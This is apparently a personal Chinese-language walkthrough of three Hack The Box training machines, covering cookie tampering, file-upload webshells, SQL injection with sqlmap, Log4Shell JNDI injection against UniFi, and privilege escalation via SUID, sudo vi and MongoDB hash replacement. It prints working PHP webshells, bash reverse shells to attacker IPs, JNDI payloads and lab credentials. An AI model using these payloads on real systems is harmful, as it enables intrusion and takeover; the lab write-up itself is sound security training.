HTB Starting Point (Linux)

Oopsie

Enumeration

image
image
用 Burp Suite 看有沒有login相關路徑
image
image
Login as Guest
uploads 可能有攻擊面但需要admin
image
看來要透過改cookie取得admin
image
id=2 => 1
image
image

Foothold

上傳webshell
image
shell.php

1
<?php system($_GET['cmd'].'; echo meow') ?>

猜路徑 /uploads
image
image
上傳 reverse shell

1
<?php system("bash -c 'bash -i >& /dev/tcp/10.10.14.222/9001 0>&1'") ?>

image
發現 user robert
取得 user flag f2c74ee8db7983851ab2a96a44eb7981
image

Lateral Movement

www-data 不會有太多系統權限,但可以嘗試看 web 目錄、source code
之前URL /cdn-cgi/login/admin.php 先從這裡開始看
image
admin.php 有多處SQL語法,都參數化查詢無法注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
<?php
include("db.php");
if($_COOKIE["user"]==="34322" || $_COOKIE["user"]==="86575" || $_COOKIE["user"]==="2233")
{
?>
...
<?php
if($_GET["content"]==="branding" && $_GET["brandId"]!="")
{
$stmt=$conn->prepare("select model,price from branding where id=?");
$stmt->bind_param('i',$_GET["brandId"]);
$stmt->execute();
$stmt=$stmt->get_result();
$stmt=$stmt->fetch_assoc();
$model=$stmt["model"];
$price=$stmt["price"];
echo '<table><tr><th>Brand ID</th><th>Model</th><th>Price</th></tr><tr><td>'.$_GET["brandId"].'<td>'.$model.'</td><td>'.$price.'</td></tr></table';
}
else
{
if($_GET["content"]==="clients"&&$_GET["orgId"]!="")
{
$stmt=$conn->prepare("select name,email from clients where id=?");
$stmt->bind_param('i',$_GET["orgId"]);
$stmt->execute();
$stmt=$stmt->get_result();
$stmt=$stmt->fetch_assoc();
$name=$stmt["name"];
$email=$stmt["email"];
echo '<table><tr><th>Client ID</th><th>Name</th><th>Email</th></tr><tr><td>'.$_GET["orgId"].'</td><td>'.$name.'</td><td>'.$email.'</td></tr></table';
}
else
{
if($_GET["content"]==="accounts"&&$_GET["id"]!="")
{
$stmt=$conn->prepare("select access,name,email from accounts where id=?");
$stmt->bind_param('i',$_GET["id"]);
$stmt->execute();
$stmt=$stmt->get_result();
$stmt=$stmt->fetch_assoc();
$id=$stmt["access"];
$name=$stmt["name"];
$email=$stmt["email"];
echo '<table><tr><th>Access ID</th><th>Name</th><th>Email</th></tr><tr><td>'.$id.'</td><td>'.$name.'</td><td>'.$email.'</td></tr></table';
}
else
{
if($_GET["content"]==="uploads")
{
if($_COOKIE["user"]==="2233")
{
echo 'This action require super admin rights.';
}
else
{
if($_GET["action"]==="upload")
{
$target_dir = "/var/www/html/uploads/";
$target_file = $target_dir . basename($_FILES["fileToUpload"]["name"]);
if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
echo "The file ". basename( $_FILES["fileToUpload"]["name"]). " has been uploaded.";
} else {
echo "Sorry, there was an error uploading your file.";
} }else{ ?>

db.php

1
2
3
4
5
<?php
$conn = mysqli_connect('localhost','robert','M3g4C0rpUs3r!','garage');
?>

# mysqli_connect('hostname', 'username', 'password', 'database name')

index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
if(isset($_GET["guest"]))
{
$cookie_name = "user";
$cookie_value = "2233";
setcookie($cookie_name, $cookie_value, time() + (86400 * 30), "/");
setcookie('role','guest', time() + (86400 * 30), "/");
header('Location: /cdn-cgi/login/admin.php');
}
if($_POST["username"]==="admin" && $_POST["password"]==="MEGACORP_4dm1n!!")
{
$cookie_name = "user";
$cookie_value = "34322";
setcookie($cookie_name, $cookie_value, time() + (86400 * 30), "/");
setcookie('role','admin', time() + (86400 * 30), "/");
header('Location: /cdn-cgi/login/admin.php');
}
else
{?>
...

ww-data 就先這樣,用取得的帳密嘗試切換到 robert
不是 index.php admin:MEGACORP_4dm1n!!
image
db.php robert:M3g4C0rpUs3r! 是對的
image

Privilege Escalation

跑腳本前先嘗試一些基本指令 sodo、id
image
發現附加群組 bugtracker
image
發現執行檔 /usr/bin/bugtracker
image
SUID 被設置、擁有者 root
image
image
取得 root flag af13b0bee69f8a877c3faf667f7beacf
image

Vaccine

Enumeration

image
無密碼登入ftp

1
└─$ ftp anonymous@10.129.75.243

下載 backup.zip
image
image
成功暴破密碼

1
2
3
4
└─$ zip2john backup.zip > zip.hash
└─$ john zip.hash
...
741852963 (backup.zip)

image
index.php

1
2
3
4
5
6
7
8
9
10
11
...
<?php
session_start();
if(isset($_POST['username']) && isset($_POST['password'])) {
if($_POST['username'] === 'admin' && md5($_POST['password']) === "2cb42f8734ea607eefed3b70af13bbd3") {
$_SESSION['login'] = "true";
header("Location: dashboard.php");
}
}
?>
...

線上工具 破解出 qwerty789
image
image
登入成功
image

Foothold

輸入單引號發現好像有SQLi
image
image

1
└─$ sqlmap -u "http://10.129.75.243/dashboard.php?search=Sandy" --cookie="PHPSESSID=buc7ihb0s212u9qnf41293v1p5"

都選默認
image

1
└─$ sqlmap -u "http://10.129.75.243/dashboard.php?search=Sandy" --cookie="PHPSESSID=buc7ihb0s212u9qnf41293v1p5" --os-shell

image

1
os-shell> bash -c "bash -i >& /dev/tcp/10.10.14.252/9001 0>&1"

取得完整 shell

1
python3 -c 'import pty;pty.spawn("/bin/bash")'

image
user flag ec9b13ca4d6229cd5cc1e09980965bf7
image

Privilege Escalation

之前密碼、預設密碼、空密碼都錯誤
image
看看web root
image
dashboard.php 找到 user=postgres password=P@s5w0rd!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
...
<?php
session_start();
if($_SESSION['login'] !== "true") {
header("Location: index.php");
die();
}
try {
$conn = pg_connect("host=localhost port=5432 dbname=carsdb user=postgres password=P@s5w0rd!");
}

catch ( exception $e ) {
echo $e->getMessage();
}

if(isset($_REQUEST['search'])) {

$q = "Select * from cars where name ilike '%". $_REQUEST["search"] ."%'";

$result = pg_query($conn,$q);

if (!$result)
{
die(pg_last_error($conn));
}
while($row = pg_fetch_array($result, NULL, PGSQL_NUM))
{
echo "
<tr>
<td class='lalign'>$row[1]</td>
<td>$row[2]</td>
<td>$row[3]</td>
<td>$row[4]</td>
</tr>";
}
}
else {

$q = "Select * from cars";

$result = pg_query($conn,$q);

if (!$result)
{
die(pg_last_error($conn));
}
while($row = pg_fetch_array($result, NULL, PGSQL_NUM))
{
echo "
<tr>
<td class='lalign'>$row[1]</td>
<td>$row[2]</td>
<td>$row[3]</td>
<td>$row[4]</td>
</tr>";
}
}


?>
...

用來登ssh

1
2
3
4
5
└─$ ssh postgres@10.129.176.198 
...
postgres@10.129.176.198's password: # input P@s5w0rd!
...
postgres@vaccine:~$

image
ALL => 可以用root執行
image
image
a 失敗,要完全符合 /bin/vi /etc/postgresql/11/main/pg_hba.conf
換 b

1
postgres@vaccine:~$ sudo /bin/vi /etc/postgresql/11/main/pg_hba.conf

image
image
image
取得 root flag dd6e058e814260bc70e9bbdef2715849
image

Unified

Enumeration

image
image
image
8080是HTTP proxy,會重導向到8443
8443似乎是SSL web server,http-title: UniFi Network
image
重導向到
image
Unifi 版本 6.4.54 => CVE-2021-44228
image

Exploitation

在Burpsuite用 test:test 測試

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
POST /api/login HTTP/1.1
Host: 10.129.55.213:8443
Content-Length: 68
Sec-Ch-Ua: "Not(A:Brand";v="24", "Chromium";v="122"
Sec-Ch-Ua-Platform: "Linux"
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.95 Safari/537.36
Content-Type: application/json; charset=utf-8
Accept: */*
Origin: https://10.129.55.213:8443
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://10.129.55.213:8443/manage/account/login?redirect=%2Fmanage
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-TW,zh;q=0.9,en-US;q=0.8,en;q=0.7
Priority: u=1, i
Connection: close


{"username":"test","password":"test","remember":false,"strict":true}

經查詢,remember可以被injection ${jndi:ldap://{Tun0 IP Address}/whatever}

https://www.sprocketsecurity.com/resources/another-log4j-on-the-fire-unifi

在本機開ldap 389 port

1
└─$ sudo tcpdump -i tun0 port 389

POST request 改成 "remember":"${jndi:ldap://10.10.14.252/}"
image
證明可被注入

  • RogueJndi 是一個 local LDAP server,專為 JNDI 注入攻擊設計,當有漏洞的 Java JNDI API 嘗試向它 request 時,返回惡意 payload 以實現遠程代碼執行(RCE)
    • 提供不同種 RCE payload (RemoteReference.java、Tomcat.java、Groovy.java、WebSphere2.java)
    • 用來接收目標的ldap連線並使目標執行指令

RogueJndi 用法

1
java -jar target/RogueJndi-1.1.jar --command "[bash command]" --hostname "[local IP]"

先用 id 測試
image
POST request 改成 "remember":"${jndi:ldap://[local IP]:1389/o=tomcat}" 後送出,選較通用的 tomcat
然而 RogueJndi 沒有反應,可能是 command 執行了但不會反饋結果
再用reverse shell測試
透過base64傳送避免編碼問題

1
echo 'bash -c bash -i >&/dev/tcp/[IP]/[port] 0>&1' | base64

--command "bash -c {echo,[base64 string]}| {base64,-d}|{bash,-i}"
先開啟 ldap server
image
send request
image
取得shell
image
升級shell

1
script /dev/null -c bash

/home/michael/ 找到user flag 6ced1a6a89e666c0620cdb10262ba127
image

Privilege Escalation

  • UniFi 是一個網路管理平台,讓用戶可以管理和監控網絡設備,內建 MongoDB
  • MongoDB 為 NoSQL 資料庫,類似 JSON
  • MongoDB 在 UniFi applications 中預設運行在 27117 port
    1
    ps aux | grep mongo
    image
    確認有 MongoDB 在 port 27117
  • UniFi applications default database name : ace

db.admin.find()取得admin的密碼雜湊值

1
mongo --port 27117 ace --eval "db.admin.find().forEach(printjson);"

image

1
2
3
4
5
6
"_id" : ObjectId("61ce278f46e0fb0012d47ee4"),
"name" : "administrator",
"email" : "administrator@unified.htb",
"x_shadow" : "$6$Ry6Vdbse$8enMR5Znxoo.WfCMd/Xk65GwuQEPx1M.QP8/qHiQV0PvUc3uHuonK4WcTQFN1CRk3GwQaquyVwCVq8iQgPTt4.",
"time_created" : NumberLong(1640900495),
"last_site_name" : "default",

雜湊演算法的標識符 $6$ => SHA-512
嘗試變更 administrator的 x_shadow
自訂密碼 1234

1
2
└─$ mkpasswd -m sha-512 1234                                                         
$6$GwelwCMmlk9Lkvhr$rJkhTGjKXKjcVbreMxM7LsJkPMjo.VIReWqC5S8b5zY30CtyRZxrb.7TIIA5ZNsmM7.f4ONZlesi0bH7JosQL1

db.admin.update()變更 x_shadow

1
2
3
4
5
6
7
8
9
10
db.admin.update(
<query>, // 查詢條件 (filter)
<update>, // 更新操作
<options> // 選項 (如 upsert 和 multi)
)
ex.
db.admin.update(
{ username: "admin" },
{ $set: { password: "newpassword123" } }
);
1
mongo --port 27117 ace --eval 'db.admin.update({"_id" : ObjectId("61ce278f46e0fb0012d47ee4")},{$set:{"x_shadow" : "$6$GwelwCMmlk9Lkvhr$rJkhTGjKXKjcVbreMxM7LsJkPMjo.VIReWqC5S8b5zY30CtyRZxrb.7TIIA5ZNsmM7.f4ONZlesi0bH7JosQL1"}})'

image
administrator:1234 登入成功
image
發現ssh密碼 NotACrackablePassword4U2022
image
image
image
root flag e50bc93c75b634e4b272d2f771c33681